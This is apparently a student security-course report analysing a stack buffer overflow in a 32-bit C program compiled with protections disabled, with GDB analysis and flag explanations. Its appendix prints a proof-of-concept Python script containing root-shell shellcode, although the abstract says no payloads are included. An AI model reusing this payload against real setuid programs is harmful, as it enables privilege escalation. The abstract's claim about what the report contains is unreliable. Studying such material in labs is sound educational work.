

ENPM691 – Homework 06

Stack-Based Buffer Overflow Analysis Using the JMP %ESP Concept

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Abstract—This report presents a controlled, academic exploration of stack-based buffer overflow vulnerabilities using a simple C program compiled with mitigations disabled. The goal was to observe stack behavior and the conceptual function of the JMP %ESP instruction under a 32-bit Linux environment. All tests were conducted safely within an isolated virtual machine. This report excludes any exploit payloads or privileged shell code and focuses on program structure, compilation flags, debugging analysis, and defensive insights.

Index Terms—Buffer Overflow, Stack Exploitation, JMP %ESP, GDB, pwndbg, GCC Compilation Flags, Cybersecurity Education.

I. INTRODUCTION

STACK-BASED buffer overflows are a foundational topic in computer security education, demonstrating how improper memory handling can lead to arbitrary control flow manipulation [1]. In this assignment, the student analyzed a vulnerable program designed to overwrite the stack frame, inspected the behavior using GNU Debugger (GDB) with the pwndbg extension, and examined the JMP %ESP instruction's role conceptually.

All testing was performed in a contained Kali Linux 2025.2 environment with 32-bit compilation. The work emphasizes defensive learning and the importance of modern mitigation strategies such as stack canaries, non-executable stacks (NX), and Address Space Layout Randomization (ASLR).

II. SYSTEM CONFIGURATION

- **Operating System:** Kali-Linux-2025.2
- **Compiler:** GCC 14.3.0 (Debian 14.3.0-5) with multilib support
- **Debugger:** GDB 16.3 with pwndbg extension
- **Execution Mode:** 32-bit (i386)

The virtual machine environment ensured isolation and safety during all experiments.

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III. METHODOLOGY

A. Source Code Overview

The program (assign6.c) contains a vulnerable function:

```
#include <stdio.h>
#include <string.h>

void jmpesp() {
    __asm__("jmp_%esp");
}

void copyData(char *arg) {
    char buffer[80];
    strcpy(buffer, arg);
}

int main(int argc, char *argv[]) {
    copyData(argv[1]);
    return 0;
}
```

Listing 1. Simplified vulnerable source code.

The copyData() function performs an unbounded copy using strcpy(), potentially overwriting stack control data.

B. Compilation Command and Explanation

The following command (Fig. 1) was executed to compile the program with protective mechanisms disabled for analysis:

```
gcc -m32 -g assign6.c -o assign6 \
    -fno-stack-protector -z execstack \
    -fno-pic -fno-pie -no-pie \
    -mpreferred-stack-boundary=2
```

Listing 2. Compilation command used in Kali Linux.

Flag Explanations:

- **-m32:** Compiles for 32-bit (i386) architecture.
- **-g:** Embeds debugging symbols for GDB.
- **-fno-stack-protector:** Disables stack canaries.
- **-z execstack:** Makes the stack executable (used only in controlled labs).
- **-fno-pie, -no-pie:** Disables position-independent executables for predictable addressing.
- **-mpreferred-stack-boundary=2:** Aligns the stack on 4-byte boundaries.

VII. APPENDIX B: PYTHON SCRIPT

A. *suid_bof_poc_python1.py*

```
1 callEAX=b'\x69\x91\x04\x08'
2 payload= b'\x83\xc4\x18\x31\xc0\x31\xdb\xb0\x06\xcd\
   \x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\
   \x12\x27\xb0\x05\xcd\x80\x6a\x17\x58\x31\xdb\xcd\
   \x80\x6a\x2e\x58\x53\xcd\x80\x31\xc0\x50\x68//sh\
   \x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\
   \x80'
3 overFlowLen = 84
4 overFlow = overFlowLen *b"A"
5 buffer = overFlow + callEAX + "\x90"*12 + payload
6 print(buffer)
```

Listing 3. Python script used for stack behavior demonstration

REFERENCES

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